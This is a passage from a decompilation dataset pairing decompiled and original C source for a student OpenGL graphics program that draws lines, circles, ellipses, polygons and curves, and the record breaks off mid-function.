binary_hash
stringlengths
64
64
repo
stringlengths
6
62
call_graph
listlengths
0
76
unmatched_functions
listlengths
0
58
matched_functions
listlengths
0
71
483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9
kidxin/Graphics-Experiment
[ [ "ChangeSize", "->", "myDisplay" ], [ "myDisplay", "->", "ChangeSize" ], [ "basicgeometry", "->" ], [ "clip", "->" ], [ "shadow", "->" ], [ "curve", "->" ], [ "fillpol", "->" ], [ "mainmenu", "->" ], [ "blank", "->" ], [ "mousedeal", "->" ], [ "keyfun", "->" ], [ "main", "->" ] ]
[]
[ { "name": "ChangeSize", "canonical_name": "func0", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall ChangeSize(int a1, int a2)\n{\nint v3; // [rsp+8h] [rbp-18h]\n\nv3 = a2;\nif ( !a2 )\nv3 = 1;\nglViewport(0LL, 0LL, (unsigned int)a1, (unsigned int)v3);\nglMatrixMode(5889LL);\nglLoadIdentity();\nif ( a1 > v3 )\nglOrtho(\n(float)((float)((float)a1 * (float)-300.0) / (float)v3),\n(float)((float)((float)a1 * 300.0) / (float)v3),\n(float)-300.0,\n300.0,\n(float)-300.0,\n300.0);\nelse\nglOrtho(\n(float)-300.0,\n300.0,\n(float)((float)((float)v3 * (float)-300.0) / (float)a1),\n(float)((float)((float)v3 * 300.0) / (float)a1),\n(float)-300.0,\n300.0);\nglMatrixMode(5888LL);\nreturn glLoadIdentity();\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(int a1, int a2)\n{\nint v3; // [rsp+8h] [rbp-18h]\n\nv3 = a2;\nif ( !a2 )\nv3 = 1;\nglViewport(0LL, 0LL, (unsigned int)a1, (unsigned int)v3);\nglMatrixMode(5889LL);\nglLoadIdentity();\nif ( a1 > v3 )\nglOrtho(\n(float)((float)((float)a1 * (float)-300.0) / (float)v3),\n(float)((float)((float)a1 * 300.0) / (float)v3),\n(float)-300.0,\n300.0,\n(float)-300.0,\n300.0);\nelse\nglOrtho(\n(float)-300.0,\n300.0,\n(float)((float)((float)v3 * (float)-300.0) / (float)a1),\n(float)((float)((float)v3 * 300.0) / (float)a1),\n(float)-300.0,\n300.0);\nglMatrixMode(5888LL);\nreturn glLoadIdentity();\n}", "original_code": "void ChangeSize(int w, int h)\n{\n GLfloat nRange = 300.0f;\n if(h == 0)\n h = 1;\n glViewport(0, 0, w, h);\n glMatrixMode(0x1701);\n glLoadIdentity();\n if (w <= h)\n glOrtho (-nRange, nRange, -nRange*h/w, nRange*h/w, -nRange, nRange);\n else\n glOrtho (-nRange*w/h, nRange*w/h, -nRange, nRange, -nRange, nRange);\n glMatrixMode(0x1700);\n glLoadIdentity();\n}", "canonical_original_code": "void ChangeSize(int w, int h)\n{\n float nRange = 300.0f;\n if(h == 0)\n h = 1;\n glViewport(0, 0, w, h);\n glMatrixMode(0x1701);\n glLoadIdentity();\n if (w <= h)\n glOrtho (-nRange, nRange, -nRange*h/w, nRange*h/w, -nRange, nRange);\n else\n glOrtho (-nRange*w/h, nRange*w/h, -nRange, nRange, -nRange, nRange);\n glMatrixMode(0x1700);\n glLoadIdentity();\n}", "variable_types": [ [ "w", "int" ], [ "h", "int" ], [ "nRange", "float" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "myDisplay", "canonical_name": "func1", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall myDisplay(double a1, float a2)\n{\n__int64 v2; // rdx\n__int64 v3; // rcx\nunsigned int v4; // edx\nunsigned int v5; // edx\nchar *v6; // rax\nint *v7; // rax\nunsigned int v9; // [rsp+Ch] [rbp-24h] BYREF\nunsigned int v10; // [rsp+10h] [rbp-20h] BYREF\nunsigned int v11; // [rsp+14h] [rbp-1Ch] BYREF\ndouble v12; // [rsp+18h] [rbp-18h]\nfloat v13; // [rsp+20h] [rbp-10h]\n__int64 v14; // [rsp+24h] [rbp-Ch]\nunsigned int v15; // [rsp+2Ch] [rbp-4h]\n\nsetcolour();\nChangeSize(600, 600);\nif ( choice <= 15 )\nglClear(0x4000LL);\nglBegin(0LL);\nswitch ( choice )\n{\ncase 1:\nflag = 0;\nchoice = 18;\nbreak;\ncase 2:\nv14 = readpoint();\nv15 = v4;\nreadint(&v11);\nv12 = readcolor();\nv13 = a2;\ndrawcircle(v14, v15, v11, v12, a2);\nfclose(fin);\nchoice = 100;\nbreak;\ncase 3:\nv14 = readpoint();\nv15 = v5;\nreadint(&v10);\nreadint(&v9);\nv12 = readcolor();\nv13 = a2;\ndrawellipse(v14, v15, v10, v9, v12, a2);\nfclose(fin);\nchoice = 100;\nbreak;\ncase 4:\nflag = 0;\npol[550] = 0;\nchoice = 22;\nbreak;\ncase 5:\nflag = 0;\nchoice = 24;\nbreak;\ncase 6:\nread_clip(&window, &pol_clip);\nclipping(&window, &pol_clip);\nfclose(fin);\nchoice = 100;\nbreak;\ncase 7:\nzbuffer();\nfclose(fin);\nchoice = 100;\nbreak;\ncase 9:\nflag = 0;\ncon_num = 0;\nchoice = 20;\nbreak;\ncase 10:\ndrawsurface();\nfclose(fin);\nchoice = 100;\nbreak;\ncase 11:\nreadpolygon(pol);\ndrawpolygon(pol, *(double *)&white, *((float *)&white + 2));\nfclose(fin);\nflag = 0;\nchoice = 17;\nbreak;\ncase 17:\nif ( flag )\nfillseed(mousepoint, *((unsigned int *)&mousepoint + 2));\nbreak;\ncase 18:\nif ( flag )\n{\nmajorline = mousepoint;\n*((_DWORD *)&majorline + 2) = *((_DWORD *)&mousepoint + 2);\nchoice = 19;\n}\nbreak;\ncase 19:\nif ( flag == 2 )\n{\n*(__int64 *)((char *)&majorline + 12) = mousepoint;\n*((_DWORD *)&majorline + 5) = *((_DWORD *)&mousepoint + 2);\ndrawline(*(double *)&green, *((float *)&green + 2));\nflag = 0;\nchoice = 18;\n}\nbreak;\ncase 20:\nif ( flag > con_num )\n{\nif ( (flag & 1) != 0 )\n{\nmajorline = mousepoint;\n*((_DWORD *)&majorline + 2) = *((_DWORD *)&mousepoint + 2);\n}\nelse\n{\n*(__int64 *)((char *)&majorline + 12) = mousepoint;\n*((_DWORD *)&majorline + 5) = *((_DWORD *)&mousepoint + 2);\n}\nif ( con_num )\ndrawline(*(double *)&yellow, *((float *)&yellow + 2));\nv6 = (char *)&control + 12 * con_num;\n*(_QWORD *)v6 = mousepoint;\n*((_DWORD *)v6 + 2) = *((_DWORD *)&mousepoint + 2);\n++con_num;\n}\nbreak;\ncase 21:\nif ( flag == con_num )\ndrawcurve();\nbreak;\ncase 22:\nif ( pol[550] < flag )\n{\nif ( (flag & 1) != 0 )\n{\nmajorline = mousepoint;\n*((_DWORD *)&majorline + 2) = *((_DWORD *)&mousepoint + 2);\n}\nelse\n{\n*(__int64 *)((char *)&majorline + 12) = mousepoint;\n*((_DWORD *)&majorline + 5) = *((_DWORD *)&mousepoint + 2);\n}\nif ( pol[550] )\ndrawline(*(double *)&white, *((float *)&white + 2));\nv7 = &pol[3 * pol[550]];\n*(_QWORD *)v7 = mousepoint;\nv7[2] = *((_DWORD *)&mousepoint + 2);\n++pol[550];\n}\nbreak;\ncase 23:\nif ( pol[550] == flag )\nfillpolygon(pol, *(double *)&white, *((float *)&white + 2), *(double *)&indigo, *((float *)&indigo + 2));\nbreak;\ncase 24:\nif ( flag )\n{\nliangx1 = mousepoint;\nliangy1 = HIDWORD(mousepoint);\nchoice = 25;\n}\nbreak;\ncase 25:\nif ( flag == 2 )\n{\nliangx2 = mousepoint;\nliangy2 = HIDWORD(mousepoint);\nif ( liangx1 > (int)mousepoint )\nswap(&liangx1, &liangx2);\nif ( liangy1 > liangy2 )\nswap(&liangy1, &liangy2);\ndrawliangwindow();\nflag = 0;\nchoice = 26;\n}\nbreak;\ncase 26:\nif ( flag )\n{\nmajorline = mousepoint;\n*((_DWORD *)&majorline + 2) = *((_DWORD *)&mousepoint + 2);\nchoice = 27;\n}\nbreak;\ncase 27:\nif ( flag == 2 )\n{\n*(__int64 *)((char *)&majorline + 12) = mousepoint;\n*((_DWORD *)&majorline + 5) = *((_DWORD *)&mousepoint + 2);\nliang(0LL, 600LL, v2, v3);\nflag = 0;\nchoice = 26;\n}\nbreak;\ndefault:\nbreak;\n}\nglEnd();\nreturn glFlush();\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(double a1, float a2)\n{\n__int64 v2; // rdx\n__int64 v3; // rcx\nunsigned int v4; // edx\nunsigned int v5; // edx\nchar *v6; // rax\nint *v7; // rax\nunsigned int v9; // [rsp+Ch] [rbp-24h] BYREF\nunsigned int v10; // [rsp+10h] [rbp-20h] BYREF\nunsigned int v11; // [rsp+14h] [rbp-1Ch] BYREF\ndouble v12; // [rsp+18h] [rbp-18h]\nfloat v13; // [rsp+20h] [rbp-10h]\n__int64 v14; // [rsp+24h] [rbp-Ch]\nunsigned int v15; // [rsp+2Ch] [rbp-4h]\n\nsetcolour();\nfunc0(600, 600);\nif ( choice <= 15 )\nglClear(0x4000LL);\nglBegin(0LL);\nswitch ( choice )\n{\ncase 1:\nflag = 0;\nchoice = 18;\nbreak;\ncase 2:\nv14 = readpoint();\nv15 = v4;\nreadint(&v11);\nv12 = readcolor();\nv13 = a2;\ndrawcircle(v14, v15, v11, v12, a2);\nfclose(fin);\nchoice = 100;\nbreak;\ncase 3:\nv14 = readpoint();\nv15 = v5;\nreadint(&v10);\nreadint(&v9);\nv12 = readcolor();\nv13 = a2;\ndrawellipse(v14, v15, v10, v9, v12, a2);\nfclose(fin);\nchoice = 100;\nbreak;\ncase 4:\nflag = 0;\npol[550] = 0;\nchoice = 22;\nbreak;\ncase 5:\nflag = 0;\nchoice = 24;\nbreak;\ncase 6:\nread_clip(&window, &pol_clip);\nclipping(&window, &pol_clip);\nfclose(fin);\nchoice = 100;\nbreak;\ncase 7:\nzbuffer();\nfclose(fin);\nchoice = 100;\nbreak;\ncase 9:\nflag = 0;\ncon_num = 0;\nchoice = 20;\nbreak;\ncase 10:\ndrawsurface();\nfclose(fin);\nchoice = 100;\nbreak;\ncase 11:\nreadpolygon(pol);\ndrawpolygon(pol, *(double *)&white, *((float *)&white + 2));\nfclose(fin);\nflag = 0;\nchoice = 17;\nbreak;\ncase 17:\nif ( flag )\nfillseed(mousepoint, *((unsigned int *)&mousepoint + 2));\nbreak;\ncase 18:\nif ( flag )\n{\nmajorline = mousepoint;\n*((_DWORD *)&majorline + 2) = *((_DWORD *)&mousepoint + 2);\nchoice = 19;\n}\nbreak;\ncase 19:\nif ( flag == 2 )\n{\n*(__int64 *)((char *)&majorline + 12) = mousepoint;\n*((_DWORD *)&majorline + 5) = *((_DWORD *)&mousepoint + 2);\ndrawline(*(double *)&green, *((float *)&green + 2));\nflag = 0;\nchoice = 18;\n}\nbreak;\ncase 20:\nif ( flag > con_num )\n{\nif ( (flag & 1) != 0 )\n{\nmajorline = mousepoint;\n*((_DWORD *)&majorline + 2) = *((_DWORD *)&mousepoint + 2);\n}\nelse\n{\n*(__int64 *)((char *)&majorline + 12) = mousepoint;\n*((_DWORD *)&majorline + 5) = *((_DWORD *)&mousepoint + 2);\n}\nif ( con_num )\ndrawline(*(double *)&yellow, *((float *)&yellow + 2));\nv6 = (char *)&control + 12 * con_num;\n*(_QWORD *)v6 = mousepoint;\n*((_DWORD *)v6 + 2) = *((_DWORD *)&mousepoint + 2);\n++con_num;\n}\nbreak;\ncase 21:\nif ( flag == con_num )\ndrawcurve();\nbreak;\ncase 22:\nif ( pol[550] < flag )\n{\nif ( (flag & 1) != 0 )\n{\nmajorline = mousepoint;\n*((_DWORD *)&majorline + 2) = *((_DWORD *)&mousepoint + 2);\n}\nelse\n{\n*(__int64 *)((char *)&majorline + 12) = mousepoint;\n*((_DWORD *)&majorline + 5) = *((_DWORD *)&mousepoint + 2);\n}\nif ( pol[550] )\ndrawline(*(double *)&white, *((float *)&white + 2));\nv7 = &pol[3 * pol[550]];\n*(_QWORD *)v7 = mousepoint;\nv7[2] = *((_DWORD *)&mousepoint + 2);\n++pol[550];\n}\nbreak;\ncase 23:\nif ( pol[550] == flag )\nfillpolygon(pol, *(double *)&white, *((float *)&white + 2), *(double *)&indigo, *((float *)&indigo + 2));\nbreak;\ncase 24:\nif ( flag )\n{\nliangx1 = mousepoint;\nliangy1 = HIDWORD(mousepoint);\nchoice = 25;\n}\nbreak;\ncase 25:\nif ( flag == 2 )\n{\nliangx2 = mousepoint;\nliangy2 = HIDWORD(mousepoint);\nif ( liangx1 > (int)mousepoint )\nswap(&liangx1, &liangx2);\nif ( liangy1 > liangy2 )\nswap(&liangy1, &liangy2);\ndrawliangwindow();\nflag = 0;\nchoice = 26;\n}\nbreak;\ncase 26:\nif ( flag )\n{\nmajorline = mousepoint;\n*((_DWORD *)&majorline + 2) = *((_DWORD *)&mousepoint + 2);\nchoice = 27;\n}\nbreak;\ncase 27:\nif ( flag == 2 )\n{\n*(__int64 *)((char *)&majorline + 12) = mousepoint;\n*((_DWORD *)&majorline + 5) = *((_DWORD *)&mousepoint + 2);\nliang(0LL, 600LL, v2, v3);\nflag = 0;\nchoice = 26;\n}\nbreak;\ndefault:\nbreak;\n}\nglEnd();\nreturn glFlush();\n}", "original_code": "void myDisplay(void)\n{\n struct point center;\n struct colour c;\n int r,a,b;\n setcolour();\n ChangeSize(600,600);\n if (choice < 16) glClear(0x00004000);\n glBegin(0x0000);\n switch (choice)\n {\n case 1: flag = 0; choice = 18; break;\n case 2: center = readpoint(); readint(&r); c = readcolor(); drawcircle(center,r,c);\n fclose(fin); choice = 100; break;\n case 3: center = readpoint(); readint(&a); readint(&b); c = readcolor(); drawellipse(center,a,b,c);\n fclose(fin); choice = 100; break;\n case 4: flag = 0; pol.ver_num = 0; choice = 22; break;\n case 5: flag = 0; choice =24; break;\n case 6: read_clip(&window,&pol_clip);\n clipping(&window,&pol_clip);\n fclose(fin); choice = 100; break;\n case 7: zbuffer();\n fclose(fin); choice = 100; break;\n case 9: flag = 0; con_num = 0; choice = 20; break;\n case 10: drawsurface();\n fclose (fin); choice = 100; break;\n case 11: readpolygon(&pol); drawpolygon(&pol,white);\n fclose(fin); flag = 0; choice = 17; break;\n case 17: if (flag) fillseed(mousepoint); break;\n case 18: if (flag)\n {\n majorline.p1 = mousepoint;\n choice = 19;\n }\n break;\n case 19: if (flag == 2)\n {\n majorline.p2 = mousepoint;\n drawline(majorline,green);\n flag = 0;\n choice = 18;\n }\n break;\n case 20: if (flag > con_num)\n {\n if (flag&1) majorline.p1 = mousepoint;\n else majorline.p2 = mousepoint;\n if (con_num) drawline(majorline,yellow);\n control[con_num] = mousepoint;\n ++con_num;\n }\n break;\n case 21: if (flag == con_num) drawcurve(); break;\n case 22: if (flag > pol.ver_num)\n {\n if (flag&1) majorline.p1 = mousepoint;\n else majorline.p2 = mousepoint;\n if (pol.ver_num) drawline(majorline,white);\n pol.vertex[pol.ver_num] = mousepoint;\n ++pol.ver_num;\n }\n break;\n case 23: if (flag == pol.ver_num) fillpolygon(&pol,white,indigo); break;\n case 24: if (flag)\n {\n liangx1 = mousepoint.x;\n liangy1 = mousepoint.y;\n choice = 25;\n }\n break;\n case 25: if (flag == 2)\n {\n liangx2 = mousepoint.x;\n liangy2 = mousepoint.y;\n if (liangx1 > liangx2) swap(&liangx1,&liangx2);\n if (liangy1 > liangy2) swap(&liangy1,&liangy2);\n drawliangwindow();\n flag = 0;\n choice = 26;\n }\n break;\n case 26: if (flag)\n {\n majorline.p1 = mousepoint;\n choice = 27;\n }\n break;\n case 27: if (flag == 2)\n {\n majorline.p2 = mousepoint;\n liang(majorline);\n flag = 0;\n choice = 26;\n }\n break;\n default: break;\n }\n glEnd();\n glFlush();\n}", "canonical_original_code": "void myDisplay()\n{\n struct point center;\n struct colour c;\n int r; int a; int b;\n setcolour();\n ChangeSize(600,600);\n if (choice < 16) glClear(0x00004000);\n glBegin(0x0000);\n switch (choice)\n {\n case 1: flag = 0; choice = 18; break;\n case 2: center = readpoint(); readint(&r); c = readcolor(); drawcircle(center,r,c);\n fclose(fin); choice = 100; break;\n case 3: center = readpoint(); readint(&a); readint(&b); c = readcolor(); drawellipse(center,a,b,c);\n fclose(fin); choice = 100; break;\n case 4: flag = 0; pol.ver_num = 0; choice = 22; break;\n case 5: flag = 0; choice =24; break;\n case 6: read_clip(&window,&pol_clip);\n clipping(&window,&pol_clip);\n fclose(fin); choice = 100; break;\n case 7: zbuffer();\n fclose(fin); choice = 100; break;\n case 9: flag = 0; con_num = 0; choice = 20; break;\n case 10: drawsurface();\n fclose (fin); choice = 100; break;\n case 11: readpolygon(&pol); drawpolygon(&pol,white);\n fclose(fin); flag = 0; choice = 17; break;\n case 17: if (flag) fillseed(mousepoint); break;\n case 18: if (flag)\n {\n majorline.p1 = mousepoint;\n choice = 19;\n }\n break;\n case 19: if (flag == 2)\n {\n majorline.p2 = mousepoint;\n drawline(majorline,green);\n flag = 0;\n choice = 18;\n }\n break;\n case 20: if (flag > con_num)\n {\n if (flag&1) majorline.p1 = mousepoint;\n else majorline.p2 = mousepoint;\n if (con_num) drawline(majorline,yellow);\n control[con_num] = mousepoint;\n ++con_num;\n }\n break;\n case 21: if (flag == con_num) drawcurve(); break;\n case 22: if (flag > pol.ver_num)\n {\n if (flag&1) majorline.p1 = mousepoint;\n else majorline.p2 = mousepoint;\n if (pol.ver_num) drawline(majorline,white);\n pol.vertex[pol.ver_num] = mousepoint;\n ++pol.ver_num;\n }\n break;\n case 23: if (flag == pol.ver_num) fillpolygon(&pol,white,indigo); break;\n case 24: if (flag)\n {\n liangx1 = mousepoint.x;\n liangy1 = mousepoint.y;\n choice = 25;\n }\n break;\n case 25: if (flag == 2)\n {\n liangx2 = mousepoint.x;\n liangy2 = mousepoint.y;\n if (liangx1 > liangx2) swap(&liangx1,&liangx2);\n if (liangy1 > liangy2) swap(&liangy1,&liangy2);\n drawliangwindow();\n flag = 0;\n choice = 26;\n }\n break;\n case 26: if (flag)\n {\n majorline.p1 = mousepoint;\n choice = 27;\n }\n break;\n case 27: if (flag == 2)\n {\n majorline.p2 = mousepoint;\n liang(majorline);\n flag = 0;\n choice = 26;\n }\n break;\n default: break;\n }\n glEnd();\n glFlush();\n}", "variable_types": [ [ "center", "struct point { int x; }" ], [ "c", "struct colour { float r; }" ], [ "r", "int" ], [ "a", "int" ], [ "b", "int" ] ], "return_type": "void", "user_defined_types": [ "struct point { int x; }", "struct colour { float r; }" ], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "basicgeometry", "canonical_name": "func2", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall basicgeometry(int a1)\n{\nif ( a1 == 3 )\n{\nfin = fopen(\"test/ellipse\", \"r\");\nchoice = 3;\n}\nelse if ( a1 <= 3 )\n{\nif ( a1 == 1 )\n{\nchoice = 1;\n}\nelse if ( a1 == 2 )\n{\nfin = fopen(\"test/circle\", \"r\");\nchoice = 2;\n}\n}\nreturn glutPostRedisplay();\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(int a1)\n{\nif ( a1 == 3 )\n{\nfin = fopen(\"test/ellipse\", \"r\");\nchoice = 3;\n}\nelse if ( a1 <= 3 )\n{\nif ( a1 == 1 )\n{\nchoice = 1;\n}\nelse if ( a1 == 2 )\n{\nfin = fopen(\"test/circle\", \"r\");\nchoice = 2;\n}\n}\nreturn glutPostRedisplay();\n}", "original_code": "void basicgeometry(GLint option)\n{\n switch (option)\n {\n case 1: choice = 1; break;\n case 2: fin = fopen(\"test/circle\", \"r\"); choice = 2; break;\n case 3: fin = fopen(\"test/ellipse\", \"r\"); choice = 3; break;\n }\n glutPostRedisplay ();\n}", "canonical_original_code": "void basicgeometry(int option)\n{\n switch (option)\n {\n case 1: choice = 1; break;\n case 2: fin = fopen(\"test/circle\", \"r\"); choice = 2; break;\n case 3: fin = fopen(\"test/ellipse\", \"r\"); choice = 3; break;\n }\n glutPostRedisplay ();\n}", "variable_types": [ [ "option", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "clip", "canonical_name": "func3", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall clip(int a1)\n{\nif ( a1 == 1 )\n{\nchoice = 5;\n}\nelse if ( a1 == 2 )\n{\nfin = fopen(\"test/clipping\", \"r\");\nchoice = 6;\n}\nreturn glutPostRedisplay();\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(int a1)\n{\nif ( a1 == 1 )\n{\nchoice = 5;\n}\nelse if ( a1 == 2 )\n{\nfin = fopen(\"test/clipping\", \"r\");\nchoice = 6;\n}\nreturn glutPostRedisplay();\n}", "original_code": "void clip(GLint option)\n{\n switch (option)\n {\n case 1: choice = 5; break;\n case 2: fin = fopen(\"test/clipping\", \"r\"); choice = 6; break;\n }\n glutPostRedisplay ();\n}", "canonical_original_code": "void clip(int option)\n{\n switch (option)\n {\n case 1: choice = 5; break;\n case 2: fin = fopen(\"test/clipping\", \"r\"); choice = 6; break;\n }\n glutPostRedisplay ();\n}", "variable_types": [ [ "option", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "shadow", "canonical_name": "func4", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "void __fastcall shadow(int a1)\n{\nif ( a1 == 1 )\n{\nfin = fopen(\"test/shadow\", \"r\");\nchoice = 7;\n}\nif ( fin )\nglutPostRedisplay();\nelse\nperror(\"File Does Not Exist\\n\");\n}\n", "canonical_decompiled_code": "void __fastcall func4(int a1)\n{\nif ( a1 == 1 )\n{\nfin = fopen(\"test/shadow\", \"r\");\nchoice = 7;\n}\nif ( fin )\nglutPostRedisplay();\nelse\nperror(\"File Does Not Exist\\n\");\n}", "original_code": "void shadow(GLint option)\n{\n switch (option)\n {\n case 1: fin = fopen(\"test/shadow\", \"r\"); choice = 7; break;\n }\n if (!fin) {\n perror(\"File Does Not Exist\\n\");\n return ;\n }\n glutPostRedisplay ();\n}", "canonical_original_code": "void shadow(int option)\n{\n switch (option)\n {\n case 1: fin = fopen(\"test/shadow\", \"r\"); choice = 7; break;\n }\n if (!fin) {\n perror(\"File Does Not Exist\\n\");\n return ;\n }\n glutPostRedisplay ();\n}", "variable_types": [ [ "option", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "curve", "canonical_name": "func5", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall curve(int a1)\n{\nif ( a1 == 1 )\n{\nchoice = 9;\n}\nelse if ( a1 == 2 )\n{\nfin = fopen(\"test/surface\", \"r\");\nchoice = 10;\n}\nreturn glutPostRedisplay();\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(int a1)\n{\nif ( a1 == 1 )\n{\nchoice = 9;\n}\nelse if ( a1 == 2 )\n{\nfin = fopen(\"test/surface\", \"r\");\nchoice = 10;\n}\nreturn glutPostRedisplay();\n}", "original_code": "void curve(GLint option)\n{\n switch (option)\n {\n case 1: choice = 9; break;\n case 2: fin = fopen(\"test/surface\", \"r\"); choice = 10; break;\n }\n glutPostRedisplay ();\n}", "canonical_original_code": "void curve(int option)\n{\n switch (option)\n {\n case 1: choice = 9; break;\n case 2: fin = fopen(\"test/surface\", \"r\"); choice = 10; break;\n }\n glutPostRedisplay ();\n}", "variable_types": [ [ "option", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "fillpol", "canonical_name": "func6", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall fillpol(int a1)\n{\nif ( a1 == 1 )\n{\nchoice = 4;\n}\nelse if ( a1 == 2 )\n{\nfin = fopen(\"test/seed\", \"r\");\nchoice = 11;\n}\nreturn glutPostRedisplay();\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(int a1)\n{\nif ( a1 == 1 )\n{\nchoice = 4;\n}\nelse if ( a1 == 2 )\n{\nfin = fopen(\"test/seed\", \"r\");\nchoice = 11;\n}\nreturn glutPostRedisplay();\n}", "original_code": "void fillpol(GLint option)\n{\n switch (option)\n {\n case 1: choice = 4; break;\n case 2: fin = fopen(\"test/seed\",\"r\"); choice = 11; break;\n }\n glutPostRedisplay ();\n}", "canonical_original_code": "void fillpol(int option)\n{\n switch (option)\n {\n case 1: choice = 4; break;\n case 2: fin = fopen(\"test/seed\",\"r\"); choice = 11; break;\n }\n glutPostRedisplay ();\n}", "variable_types": [ [ "option", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "mainmenu", "canonical_name": "func7", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "void mainmenu()\n{\n;\n}\n", "canonical_decompiled_code": "void func7()\n{\n;\n}", "original_code": "void mainmenu(GLint option)\n{\n return ;\n}", "canonical_original_code": "void mainmenu(int option)\n{\n return ;\n}", "variable_types": [ [ "option", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "blank", "canonical_name": "func8", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "void blank()\n{\n;\n}\n", "canonical_decompiled_code": "void func8()\n{\n;\n}", "original_code": "void blank(GLint option)\n{\n}", "canonical_original_code": "void blank(int option)\n{\n}", "variable_types": [ [ "option", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "mousedeal", "canonical_name": "func9", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall mousedeal(__int64 a1, int a2, int a3, int a4)\n{\n__int64 result; // rax\n\nLODWORD(mousepoint) = a3 - 300;\nresult = (unsigned int)(300 - a4);\nHIDWORD(mousepoint) = result;\nif ( (_DWORD)a1 == 2 && !a2 )\n{\nresult = (unsigned int)(choice - 17);\nif ( (unsigned int)result <= 0xA )\n{\n++flag;\nresult = glutPostRedisplay(a1);\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(__int64 a1, int a2, int a3, int a4)\n{\n__int64 result; // rax\n\nLODWORD(mousepoint) = a3 - 300;\nresult = (unsigned int)(300 - a4);\nHIDWORD(mousepoint) = result;\nif ( (_DWORD)a1 == 2 && !a2 )\n{\nresult = (unsigned int)(choice - 17);\nif ( (unsigned int)result <= 0xA )\n{\n++flag;\nresult = glutPostRedisplay(a1);\n}\n}\nreturn result;\n}", "original_code": "void mousedeal(GLint button, GLint action,GLint xMouse,GLint yMouse)\n{\n mousepoint.x = xMouse - 300; mousepoint.y = 300 -yMouse;\n if (button == 0x0002 && action == 0x0000)\n {\n switch (choice)\n {\n case 17:\n case 18:\n case 19:\n case 20:\n case 21:\n case 22:\n case 23:\n case 24:\n case 25:\n case 26:\n case 27: ++flag; break;\n default: return;\n }\n glutPostRedisplay ();\n }\n}", "canonical_original_code": "void mousedeal(int button, int action, int xMouse, int yMouse)\n{\n mousepoint.x = xMouse - 300; mousepoint.y = 300 -yMouse;\n if (button == 0x0002 && action == 0x0000)\n {\n switch (choice)\n {\n case 17:\n case 18:\n case 19:\n case 20:\n case 21:\n case 22:\n case 23:\n case 24:\n case 25:\n case 26:\n case 27: ++flag; break;\n default: return;\n }\n glutPostRedisplay ();\n }\n}", "variable_types": [ [ "button", "int" ], [ "action", "int" ], [ "xMouse", "int" ], [ "yMouse", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "keyfun", "canonical_name": "func10", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall keyfun(__int64 a1)\n{\n__int64 result; // rax\n\nresult = (unsigned int)a1;\nif ( (_BYTE)a1 != 13 )\n{\nif ( (_BYTE)a1 != 27 )\nreturn result;\nif ( choice == 100 )\nchoice = 0;\nif ( choice <= 23 )\n{\nif ( choice <= 21 )\n{\nif ( choice <= 19 )\nchoice = choice > 17;\nelse\nchoice = 9;\n}\nelse\n{\nchoice = 4;\n}\n}\nelse\n{\nchoice = 5;\n}\nreturn glutPostRedisplay(a1);\n}\nresult = (unsigned int)choice;\nif ( choice == 20 )\n{\nchoice = 21;\nreturn glutPostRedisplay(a1);\n}\nif ( choice == 22 )\n{\nchoice = 23;\nreturn glutPostRedisplay(a1);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func10(__int64 a1)\n{\n__int64 result; // rax\n\nresult = (unsigned int)a1;\nif ( (_BYTE)a1 != 13 )\n{\nif ( (_BYTE)a1 != 27 )\nreturn result;\nif ( choice == 100 )\nchoice = 0;\nif ( choice <= 23 )\n{\nif ( choice <= 21 )\n{\nif ( choice <= 19 )\nchoice = choice > 17;\nelse\nchoice = 9;\n}\nelse\n{\nchoice = 4;\n}\n}\nelse\n{\nchoice = 5;\n}\nreturn glutPostRedisplay(a1);\n}\nresult = (unsigned int)choice;\nif ( choice == 20 )\n{\nchoice = 21;\nreturn glutPostRedisplay(a1);\n}\nif ( choice == 22 )\n{\nchoice = 23;\nreturn glutPostRedisplay(a1);\n}\nreturn result;\n}", "original_code": "void keyfun(GLubyte key, GLint xMouse, GLint 